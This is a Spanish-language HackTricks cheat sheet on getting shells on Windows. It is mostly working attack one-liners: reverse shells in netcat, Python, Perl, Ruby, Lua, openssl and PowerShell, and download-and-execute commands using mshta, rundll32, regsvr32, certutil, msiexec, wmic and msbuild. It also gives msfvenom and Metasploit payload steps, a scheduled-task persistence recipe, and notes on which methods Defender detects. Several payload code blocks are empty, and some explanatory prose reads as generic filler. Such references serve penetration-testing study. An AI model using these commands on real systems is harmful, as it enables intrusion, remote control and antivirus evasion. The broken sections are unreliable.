# Shells - Windows
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3** 🐞 Lee tutoriales sobre errores web3 🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores 💬 Participa en discusiones comunitarias ## Lolbas La página [lolbas-project.github.io](https://lolbas-project.github.io/) es para Windows lo que [https://gtfobins.github.io/](https://gtfobins.github.io/) es para Linux.\ Obviamente, **no hay archivos SUID ni privilegios de sudo en Windows**, pero es útil saber **cómo** algunos **binarios** pueden ser (ab)usados para realizar algún tipo de acción inesperada como **ejecutar código arbitrario**. ## NC ```bash nc.exe -e cmd.exe ``` ## SBD **sbd** es un clon de Netcat, diseñado para ser portátil y ofrecer una fuerte encriptación. Se ejecuta en sistemas operativos similares a Unix y en Microsoft Win32. sbd cuenta con encriptación AES-CBC-128 + HMAC-SHA1 (por Christophe Devine), ejecución de programas (opción -e), elección del puerto fuente, reconexión continua con retraso y algunas otras características interesantes. sbd solo admite comunicación TCP/IP. sbd.exe (parte de la distribución de Kali Linux: /usr/share/windows-resources/sbd/sbd.exe) se puede cargar en una máquina con Windows como alternativa a Netcat. ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ## Perl Perl es un lenguaje de programación interpretado que se utiliza a menudo en la creación de scripts y en la automatización de tareas. Es especialmente útil para la manipulación de texto y la gestión de archivos. Perl se ejecuta en una amplia variedad de sistemas operativos y es compatible con muchas bibliotecas y módulos de terceros. Además, Perl es un lenguaje muy popular en el mundo de la seguridad informática debido a su capacidad para manipular datos y realizar tareas complejas de forma rápida y eficiente. ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby Ruby es un lenguaje de programación interpretado y orientado a objetos. Es muy popular en el mundo de la programación web y se utiliza en muchos frameworks como Ruby on Rails. También es utilizado en herramientas de hacking como Metasploit. Ruby es fácil de leer y escribir, lo que lo hace ideal para la creación de scripts y herramientas de hacking personalizadas. Además, tiene una gran cantidad de bibliotecas y gemas disponibles que pueden ser utilizadas para simplificar el proceso de hacking. ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## Lua ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` ## OpenSSH Atacante (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` Víctima ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` ## Powershell Powershell es una herramienta de línea de comandos y scripting desarrollada por Microsoft para la administración de sistemas Windows. Es una herramienta muy poderosa para los hackers, ya que permite la ejecución de comandos y scripts de forma remota en sistemas Windows comprometidos. ### Ejecución remota Para ejecutar comandos o scripts de forma remota en un sistema Windows comprometido, se puede utilizar el cmdlet `Invoke-Command`. Este cmdlet permite ejecutar comandos o scripts en un sistema remoto utilizando la autenticación actual del usuario. ```powershell Invoke-Command -ComputerName -ScriptBlock { } ``` ### Escalamiento de privilegios Powershell también puede ser utilizado para escalar privilegios en sistemas Windows comprometidos. Una técnica común es utilizar el cmdlet `Invoke-Expression` para ejecutar comandos en el contexto del sistema. ```powershell Invoke-Expression "Start-Process cmd.exe -Verb RunAs" ``` Este comando ejecutará el proceso `cmd.exe` con privilegios elevados. ### Persistencia Powershell también puede ser utilizado para establecer persistencia en sistemas comprometidos. Una técnica común es utilizar el cmdlet `New-ScheduledTaskTrigger` para crear una tarea programada que se ejecute en intervalos regulares. ```powershell $Trigger = New-ScheduledTaskTrigger -Daily -At 3am Register-ScheduledTask -TaskName "MyTask" -Trigger $Trigger -User "SYSTEM" -Action { } ``` Este comando creará una tarea programada llamada "MyTask" que se ejecutará todos los días a las 3am con el usuario SYSTEM y ejecutará el comando o script especificado. ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')" echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile ``` Proceso que realiza llamadas de red: **powershell.exe**\ Carga útil escrita en disco: **NO** (_al menos en ningún lugar que pudiera encontrar usando procmon !_) ```bash powershell -exec bypass -f \\webdavserver\folder\payload.ps1 ``` Proceso que realiza llamadas de red: **svchost.exe**\ Carga útil escrita en disco: **caché local del cliente WebDAV** **Línea de comando:** ```bash $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` **Obtenga más información sobre diferentes Shells de Powershell al final de este documento** ## Mshta ```bash mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")")) ``` Proceso que realiza una llamada de red: **mshta.exe**\ Carga útil escrita en disco: **caché local de IE** ```bash mshta http://webserver/payload.hta ``` Proceso que realiza una llamada de red: **mshta.exe**\ Carga útil escrita en disco: **caché local de IE** ```bash mshta \\webdavserver\folder\payload.hta ``` Proceso que realiza una llamada de red: **svchost.exe**\ Carga escrita en el disco: **cache local del cliente WebDAV** #### **Ejemplo de shell inverso hta-psh (usa hta para descargar y ejecutar la puerta trasera de PS)** ```markup ``` **Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager hta** #### Ejemplo de hta ```markup ``` #### **mshta - sct** La técnica `mshta - sct` se utiliza para ejecutar código malicioso en un sistema Windows. Esta técnica aprovecha la herramienta `mshta.exe` de Windows para ejecutar un archivo `.sct` (Scriptlet Text) que contiene código malicioso. El archivo `.sct` se puede alojar en un servidor web o en un recurso compartido de red y se puede ejecutar mediante una URL o una ruta UNC. Para utilizar esta técnica, primero se debe crear un archivo `.sct` que contenga el código malicioso. A continuación, se debe alojar el archivo `.sct` en un servidor web o en un recurso compartido de red. Finalmente, se debe ejecutar el archivo `.sct` utilizando la herramienta `mshta.exe`. Esta técnica es especialmente útil para evadir la detección de antivirus, ya que el archivo `.sct` no es un archivo ejecutable y no se considera una amenaza por sí solo. Además, la herramienta `mshta.exe` es una herramienta legítima de Windows y no suele ser detectada por los programas antivirus. ```markup ``` #### **Mshta - Metasploit** La carga útil de Metasploit para Mshta se puede utilizar para ejecutar comandos arbitrarios en un sistema Windows. Mshta es una herramienta de línea de comandos que se utiliza para ejecutar archivos HTML como aplicaciones de escritorio. La carga útil de Metasploit para Mshta aprovecha esta funcionalidad para ejecutar comandos en el sistema de destino. Para utilizar esta carga útil, primero se debe generar un archivo HTML que contenga el código que se desea ejecutar en el sistema de destino. A continuación, se debe utilizar la carga útil de Metasploit para Mshta para ejecutar el archivo HTML en el sistema de destino. La carga útil de Metasploit para Mshta es una herramienta muy útil para los hackers que buscan ejecutar comandos en sistemas Windows. Sin embargo, es importante tener en cuenta que esta carga útil puede ser detectada por algunos sistemas de seguridad, por lo que se debe utilizar con precaución. ```bash use exploit/windows/misc/hta_server msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109 msf exploit(windows/misc/hta_server) > set lhost 192.168.1.109 msf exploit(windows/misc/hta_server) > exploit ``` ```bash Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit ``` **Detectado por el defensor** ## **Rundll32** [Ejemplo de "Hola mundo" de DLL](https://github.com/carterjones/hello-world-dll) ```bash rundll32 \\webdavserver\folder\payload.dll,entrypoint ``` Proceso que realiza una llamada de red: **svchost.exe**\ Carga útil escrita en disco: **caché local del cliente WebDAV** ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` Proceso que realiza una llamada de red: **rundll32.exe**\ Carga útil escrita en disco: **caché local de IE** **Detectado por Defender** **Rundll32 - sct** ```bash ``` #### **Rundll32 - Metasploit** El módulo `windows/local/metasploit_rundll32` de Metasploit permite ejecutar un payload de Metasploit a través de la función `rundll32.exe`. El payload se codifica en base64 y se almacena en un archivo DLL. Luego, se utiliza `rundll32.exe` para cargar el archivo DLL y ejecutar el payload. Este método puede ser útil para evadir la detección de antivirus, ya que `rundll32.exe` es una aplicación legítima de Windows y es comúnmente utilizada por otros programas. ```bash use windows/smb/smb_delivery run #You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0 ``` **Rundll32 - Koadic** Rundll32 es una herramienta de Windows que permite ejecutar funciones de una DLL como si fueran un programa. Koadic es una herramienta de post-explotación que permite el control remoto de sistemas Windows. Para utilizar Koadic con Rundll32, primero se debe generar un payload de Koadic y guardarlo en un archivo DLL. Luego, se puede ejecutar el payload utilizando Rundll32 de la siguiente manera: ``` rundll32.exe , ``` Donde `` es la ruta al archivo DLL que contiene el payload de Koadic y `` es el nombre de la función que se desea ejecutar. Por ejemplo, si se desea ejecutar la función `Koadic()` del payload guardado en el archivo `payload.dll`, se utilizaría el siguiente comando: ``` rundll32.exe payload.dll,Koadic ``` Este método puede ser útil para evadir la detección de antivirus, ya que Rundll32 es una herramienta legítima de Windows y el payload se ejecuta como una función de una DLL en lugar de como un programa independiente. ```bash use stager/js/rundll32_js set SRVHOST 192.168.1.107 set ENDPOINT sales run #Koadic will tell you what you need to execute inside the victim, it will be something like: rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close(); ``` ## Regsvr32 Regsvr32 es una herramienta de línea de comandos en Windows que se utiliza para registrar y desregistrar bibliotecas de vínculos dinámicos (DLL) y controles ActiveX en el Registro de Windows. También se puede utilizar para ejecutar código malicioso en un sistema comprometido. Los atacantes pueden utilizar Regsvr32 para ejecutar scripts de PowerShell y descargar malware en un sistema. ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` Proceso que realiza una llamada de red: **regsvr32.exe**\ Carga útil escrita en disco: **caché local de IE** ``` regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll ``` Proceso que realiza una llamada de red: **svchost.exe**\ Carga útil escrita en disco: **Caché local del cliente WebDAV**\ \ **Detectado por Defender**\ \ #### Regsvr32 -sct ```markup ``` #### **Regsvr32 - Metasploit** El módulo `regsvr32` de Metasploit permite ejecutar un payload en una máquina Windows utilizando el comando `regsvr32.exe`. Este comando se utiliza normalmente para registrar y desregistrar DLLs en el sistema, pero también puede ser utilizado para ejecutar código malicioso. Para utilizar este módulo, primero se debe generar un payload utilizando Metasploit. Luego, se debe configurar el módulo `regsvr32` con el payload generado y la dirección IP del atacante. Finalmente, se debe ejecutar el comando `regsvr32.exe` en la máquina objetivo para que se ejecute el payload. Este método es útil cuando se tiene acceso limitado a la máquina objetivo y no se puede ejecutar directamente un payload. Sin embargo, es importante tener en cuenta que este método puede ser detectado por algunos antivirus y soluciones de seguridad. ```bash use multi/script/web_delivery set target 3 set payload windows/meterpreter/reverse/tcp set lhost 10.2.0.5 run #You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll ``` **Puedes descargar y ejecutar fácilmente un zombie Koadic usando el stager regsvr** ## Certutil Descarga un archivo B64dll, descodifícalo y ejecútalo. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll ``` Descarga un archivo B64exe, descodifícalo y ejecútalo. ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe ``` **Detectado por el defensor** ***
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3** 🐞 Lee tutoriales sobre errores web3 🔔 Recibe notificaciones sobre nuevas recompensas por errores 💬 Participa en discusiones comunitarias ## **Cscript/Wscript** ```bash powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` **Cscript - Metasploit** Metasploit tiene un módulo llamado `windows/script/cscript` que permite ejecutar scripts de VBScript en una máquina Windows remota. Este módulo es muy útil para ejecutar comandos en una máquina comprometida sin tener que cargar un ejecutable adicional en el sistema. Para utilizar este módulo, primero se debe establecer una sesión de Meterpreter en la máquina objetivo. Luego, se puede ejecutar el comando `run windows/script/cscript` y especificar el script de VBScript que se desea ejecutar. El script se ejecutará en la máquina objetivo y los resultados se mostrarán en la sesión de Meterpreter. Este módulo también permite especificar argumentos adicionales para el script de VBScript, lo que puede ser útil para personalizar la ejecución del script. Por ejemplo, se puede especificar un archivo de entrada o salida para el script. Es importante tener en cuenta que este módulo requiere que el servicio de Windows Script Host (WSH) esté habilitado en la máquina objetivo. Si el servicio no está habilitado, el módulo no funcionará. ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` **Detectado por el defensor** ## PS-Bat ```bash \\webdavserver\folder\batchfile.bat ``` Proceso que realiza una llamada de red: **svchost.exe**\ Carga útil escrita en disco: **caché local del cliente WebDAV** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` ``` ```bash \\10.8.0.3\kali\shell.bat ``` **Detectado por el defensor** ## **MSIExec** Atacante ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` Víctima: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` **Detectado** ## **Wmic** ``` wmic os get /format:"https://webserver/payload.xsl" ``` Proceso que realiza una llamada de red: **wmic.exe**\ Carga útil escrita en disco: **caché local de IE** Archivo xsl de ejemplo: ``` ``` Extraído de [aquí](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7) **No detectado** **Puedes descargar y ejecutar muy fácilmente un zombie de Koadic usando el stager wmic** ## Msbuild ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` Proceso que realiza llamadas de red: **svchost.exe**\ Carga útil escrita en disco: **caché local del cliente WebDAV** Puedes utilizar esta técnica para evitar la lista blanca de aplicaciones y las restricciones de Powershell.exe. Ya que se te pedirá una shell de Powershell.\ Solo descarga y ejecuta esto: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` **No detectado** ## **CSC** Compilar código C# en la máquina víctima. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` Puedes descargar un shell inverso básico en C# desde aquí: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) **No detectado** ## **Regasm/Regsvc** ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` Proceso que realiza llamadas de red: **svchost.exe**\ Carga útil escrita en disco: **caché local del cliente WebDAV** **No lo he probado** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf ``` odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` Proceso que realiza llamadas de red: **svchost.exe**\ Carga útil escrita en disco: **cache local del cliente WebDAV** **No lo he probado** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) ## Shells de Powershell ### PS-Nishang [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) En la carpeta **Shells**, hay muchos shells diferentes. Para descargar y ejecutar Invoke-_PowerShellTcp.ps1_, haga una copia del script y agregue al final del archivo: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` Comience a servir el script en un servidor web y ejecútelo en el extremo de la víctima: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` Defender no lo detecta como código malicioso (aún, 3/04/2019). **TODO: Revisar otros shells de nishang** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) Descarga, inicia un servidor web, inicia el listener y ejecútalo en el extremo de la víctima: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` Defender no lo detecta como código malicioso (todavía, 3/04/2019). **Otras opciones ofrecidas por powercat:** Conexiones de shell, shell inversa (TCP, UDP, DNS), redirección de puertos, subida/bajada de archivos, generación de payloads, servir archivos... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd Send a cmd Shell: powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: powercat -l -p 443 -i C:\inputfile -rep ``` ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) Crea un lanzador de PowerShell, guárdalo en un archivo y descárgalo y ejecútalo. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` **Detectado como código malicioso** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) Crea una versión de powershell de la puerta trasera de metasploit utilizando unicornio. ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` Inicie msfconsole con el recurso creado: ``` msfconsole -r unicorn.rc ``` Inicie un servidor web que sirva el archivo _powershell\_attack.txt_ y ejecútelo en la víctima: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` ## Más [PS>Attack](https://github.com/jaredhaight/PSAttack) Consola de PS con algunos módulos ofensivos de PS precargados (cifrados)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ WinPWN](https://github.com/SecureThisShit/WinPwn) Consola de PS con algunos módulos ofensivos de PS y detección de proxy (IEX) ## Bibliografía * [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) * [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) * [https://github.com/GreatSCT/GreatSCT](https://github.com/GreatSCT/GreatSCT) * [https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/) * [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) ​
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3** 🐞 Lee tutoriales de errores web3 🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores 💬 Participa en discusiones comunitarias
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).